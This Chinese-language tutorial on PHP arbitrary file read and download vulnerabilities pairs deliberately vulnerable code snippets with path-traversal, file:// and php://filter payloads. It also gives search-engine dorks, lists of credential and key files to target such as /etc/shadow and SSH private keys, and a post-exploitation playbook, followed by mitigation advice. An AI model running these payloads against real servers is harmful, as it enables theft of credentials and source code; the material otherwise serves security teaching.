文件读取下载漏洞

介绍

文件下载漏洞属于文件类型漏洞的一种,是指造成不应该被下载的文件可通过恶意行为下载读取的安全漏洞。造成下载漏洞的文件有脚本、配置文件、日志、有权限管控的敏感文件等。这种漏洞通常出现在文件查看、文件下载功能中。

在分析该类漏洞或进行代码审计时,通常使用../来逐个层级查看推测路径信息。以最大限度地遍历所有可能存在文件下载漏洞的部分。常用的文件读取函数有file_get_contents()file()readfile()fread()fget()等。在CTF比赛中,则经常使用php://filter来查看源码信息。常见的漏洞表现方式有http://test.com/index.php?file=../../etc/passwdhttp://test.com/index.php?file=..%2f..%2fconfig.phphttp://test.com/index.php?file=ZG93bmxvYWQucGhw等。

可根据以下三个方面快速初步判断是否存在文件下载漏洞:

  • 可下载或可读取文件的函数且参数是否可控。
  • 可下载或可读取文件的路径是否未校验或校验不严谨。
  • 下载或读取的文件是否为空,或者说能否看到文件的源内容。

危害

  • 下载服务器任意文件,如脚本代码、服务及系统配置文件等;
  • 可用得到的代码进一步代码审计,得到更多可利用漏洞。

同样任意文件读取也能在PHP中带来很多危害,比如比较严重的信息泄露,SSRF,反序列化问题

漏洞发现与利用技巧

  • inurl:readfile.php?file=
  • inurl:read.php?filename=
  • inurl:download.php?file=
  • inurl:download.php?file=

常见连接名

  • readfile.php?file=**.txt
  • download.php?file=**.rar

常见参数名

  • &RealPath=
  • &RealPath=
  • &FilePath=
  • &file=
  • &filename=
  • &Path=
  • &path=
  • &inputFile=
  • &url=
  • &urls=
  • &Lang=
  • &dis=
  • &data=
  • &readfile=
  • &filep=
  • &src=
  • &menu=
  • &META-INF=
  • &WEB-INF=
    ……

常用敏感文件路径

  • windows:
    C:\boot.ini (查看系统版本)
    C:\Windows\System32\inetsrv\MetaBase.xml (iis配置文件)
    C:\Windows\repair\sam (存储系统初次安装的密码)
    C:\Program Files\mysql\my.ini (Mysql配置)
    C:\Program Files\mysql\data\mysql\user.MYD (Mysql root)
    C:\Windows\php.ini (php配置信息)
    C:\Windows\my.ini (Mysql配置信息)

  • Linux:
    /root/.ssh/authorized_keys (如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去)

    /root/.ssh/id_rsa (ssh私钥,ssh公钥是id_rsa.pub)
    /root/.ssh/id_rsa.keystore (记录每个访问计算机用户的公钥)
    /root/.ssh/known_hosts (ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击)
    /etc/passwd (主机账号文件)
    /etc/shadow (主机密码文件)
    /etc/my.cnf (Mysql配置文件)
    /etc/httpd/conf/httpd.conf (apache配置文件)
    /root/.bash_history (root操作命令历史记录)
    /root/.mysql_history (mysql命令历史记录)
    /proc/self/fd/fd[0-9]*(文件标识符)
    /proc/mounts (记录系统挂载设备)
    /proc/config.gz (内核配置文件)

    /var/lib/mlocate/mlocate.db (全文件路径)

    /porc/self/cmdline (当前进程的cmdline参数)

漏洞利用思路

常见利用思路

  • 一般我拿到一个任意文件读取得先判断权限大不大,如果权限够大的话可以直接先把/etc/shadow读下来,权限不够就读/etc/passwd,先把用户确定下来,方便后续操作。
  • 读取各个用户的.bash_history能翻有用的信息,如编辑一些敏感文件。
  • 下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。
  • 读取程序配置文件(如数据库连接文件,可以利用数据库写shell)。
  • 读取中间件配置文件(weblogic/tomcat/apache的密码文件、配置文件,确定绝对路径,方便后面读源码)。
  • 读取一些软件的运维配置文件(redis/rsync/ftp/ssh等等程序的数据、配置、文档记录)。
  • 读取web应用日志文件,中间件的日志文件,其他程序的日志,系统日志等(可以网站后台地址、api接口、备份、等等敏感信息)。
  • 读取程序源代码,方便后面做代码审计,找突破口

java+oracle环境利用思路

可以先下载/WEB-INF/classes/applicationContext.xml 文件,这里面记载的是web服务器的相应配置,然后下载/WEB-INF/classes/xxx/xxx/ccc.class对文件进行反编译,然后搜索文件中的upload关键字看是否存在一些api接口,如果存在的话我们可以本地构造上传页面用api接口将我们的文件传输进服务器。

也可以先下载网站的配置文件,在根目录/WEB-INF/Web.xml的(一般都有很多内容,有时含有数据库连接用户名和密码等关键信息)。

具有root权限的利用思路

尝试读取/root/.bash_history看自己是否具有root权限。

在linux中有这样一个命令 locate 是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库/var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。

当我们不知道路径是什么的情况下,这个可以说是一个核武器了,我们利用任意文件下载漏洞将mlocate.db文件下载下来,利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息。

locate 读取方法:locate mlocate.db admin(可以将mlocate.db中包含admin内容全部输出来)

文件读取函数

file_get_contents()readfile()highlight_file()show_source(),fopen()fread()fgets()fgetss()file()parse_ini_file()fpassthrucurl除了这些正常的读取文件的函数之外,另外一些其他功能的函数也一样可以用来读取文件,比如文件包含函数include等,可以利用PHP输入输出流php://filter/ 来读取文件。

file_get_contents() 函数

file_get_contents() 函数把整个文件读入一个字符串中。

1
2
3
4
5
6
7
8
<?php
$filename = $_GET['filename'];
echo file_get_contents($filename);

header('Content-Type: image/jpeg');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Lengh: '.filesize($filename));
?>

payload:

  • download.php?filename=../../../etc/passwd
  • download.php?filename=file:///etc/passwd

注:Content-Disposition: attachment 意味着消息体应该被下载到本地;大多数浏览器会呈现一个“保存为”的对话框,将 filename 的值预填为下载后的文件名。

readfile() 函数

readfile()函数输出一个文件。该函数读入一个文件并写入到输出缓冲。

1
2
3
4
<?php
$filename = $_GET['filename'];
readfile($filename);
?>

payload:

  • readfile.php?filename=../../../etc/passwd
  • readfile.php?filename=file:///etc/passwd

highlight_file() 函数

highlight_file() 函数对文件进行语法高亮显示。show_source()函数为highlight_file()函数的别名。

1
2
3
4
<?php
$filename = $_GET['filename'];
highlight_file($filename);
?>

payload:

  • readfile.php?filename=../../../etc/passwd
  • readfile.php?filename=file:///etc/passwd

fopen() + fread() 函数

1
2
3
4
5
6
<?php
$filename = $_GET['filename'];
$file = fopen($filename, "r+");
echo fread($file, filesize($filename));
fclose($file);
?>

payload:

  • readfile.php?filename=../../../etc/passwd
  • readfile.php?filename=file:///etc/passwd

fopen() + fpassthru() 函数

fpassthru() 函数从打开文件的当前位置开始读取所有数据,直到文件末尾(EOF),并向输出缓冲写结果。该函数返回传递的字符数,如果失败则返回 FALSE。

1
2
3
4
5
6
<?php
$filename = $_GET['filename'];
$file = fopen($filename, "r+");
fpassthru($file);
fclose($file);
?>

payload:

  • readfile.php?filename=../../../etc/passwd
  • readfile.php?filename=file:///etc/passwd

fopen() + fgets() 函数

fgets()函数用于一次读取一行数据。

1
2
3
4
5
6
7
8
9
<?php
$filename = $_GET['filename'];
$file = fopen($filename, "r+");
while (!feof($file)) {
$buffer = fgets($file);
echo $buffer;
}
fclose($file);
?>

payload:

  • readfile.php?filename=../../../etc/passwd
  • readfile.php?filename=file:///etc/passwd

fopen() + fgetss() 函数

fgetss() 函数是 fgets() 函数的变体,用于读取一行数据,同时 fgetss() 函数会过滤掉读取内容中的 HTML 和 PHP 标记。

1
2
3
4
5
6
7
8
9
<?php
$filename = $_GET['filename'];
$file = fopen($filename, "r+");
while (!feof($file)) {
$buffer = fgetss($file);
echo $buffer;
}
fclose($file);
?>

payload:

  • readfile.php?filename=../../../etc/passwd
  • readfile.php?filename=file:///etc/passwd

file() 函数

file() 函数把整个文件读入一个数组中。

file_get_contents()类似,不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。

1
2
3
4
<?php
$filename = $_GET['filename'];
print_r(file($filename));
?>

payload:

  • readfile.php?filename=../../../etc/php.ini
  • readfile.php?filename=file:///etc/php.ini

parse_ini_file() 函数

parse_ini_file() 函数解析一个配置文件,并以数组的形式返回其中的设置。

注:该函数仅可读取ini配置文件。

1
2
3
4
<?php
$filename = $_GET['filename'];
print_r(parse_ini_file($filename));
?>

payload:

  • readfile.php?filename=../../../etc/php.ini
  • readfile.php?filename=file:///etc/php.ini

curl SSRF + file://伪协议

curl_exec函数执行给定的cURL会话。这个函数应该在初始化一个cURL会话并且全部的选项都被设置后被调用。

该函数在SSRF中也讲到过,可以利用SSRF漏洞结合file://伪协议达到任意文件读取。

1
2
3
4
5
<?php
$url = $_GET['url'];
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>

payload:

  • readfile.php?url=file:///etc/passwd
  • readfile.php?url=file://192.168.1.12/etc/passwd

include 文件包含 + php://filter 伪协议

之后会对文件包含进行详细讲解。

使用 php://filter伪协议” 来进行包含。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。

1
2
3
<?php
include($_GET['filename']);
?>

payload:

  • readfile.php?filename=php://filter/read=convert.base64-encode/resource=../../../etc/passwd
  • readfile.php?filename=php://filter/read=convert.base64-encode/resource=file:///etc/passwd

再对结果进行base64解码即可。

漏洞防御修复

  • 过滤 . 点,使用户在url中不能回溯上级目录
  • php.ini配置open_basedir限定文件访问范围
  • 正则严格判断用户输入的参数

  • 将下载区独立出来,放在项目路径外,给每个下载资源固定的URL,而不是所有的下载资源都是统一的URL:http://www.test.com/download?filename=文件名

  • 净化数据:对用户传过来的文件名参数进行硬编码或统一编码,对文件类型进行白名单控制,对包含恶意字符或者空字符的参数进行拒绝。
  • web应用程序可以使用chroot环境包含被访问的web目录,或者使用绝对路径+参数来访问文件目录,时使其即使越权也在访问目录之内。
    www目录就是一个chroot应用。由chroot创造出的那个根目录,叫做“chroot监狱”(所谓”监狱”就是指通过chroot机制来更改某个进程所能看到的根目录,即将某进程限制在指定目录中,保证该进程只能对该目录及其子目录的文件有所动作,从而保证整个服务器的安全。
    详细具体chroot的用法,可参考:http://blog.csdn.net/frozen_fish/article/details/2244870
  • 任意文件下载漏洞也有可能是web所采用的中间件的版本低而导致问题的产生,例如ibm的websphere的任意文件下载漏洞,需更新其中间件的版本可修复。
  • 要下载的文件地址保存至数据库中。
  • 文件路径保存至数据库,让用户提交文件对应ID下载文件。
  • 用户下载文件之前需要进行权限判断。
  • 文件放在web无法直接访问的目录下。
  • 不允许提供目录遍历服务。
  • 公开文件可放置在web应用程序下载目录中通过链接进行下载。
  • 记录文件下载日志。

参考资料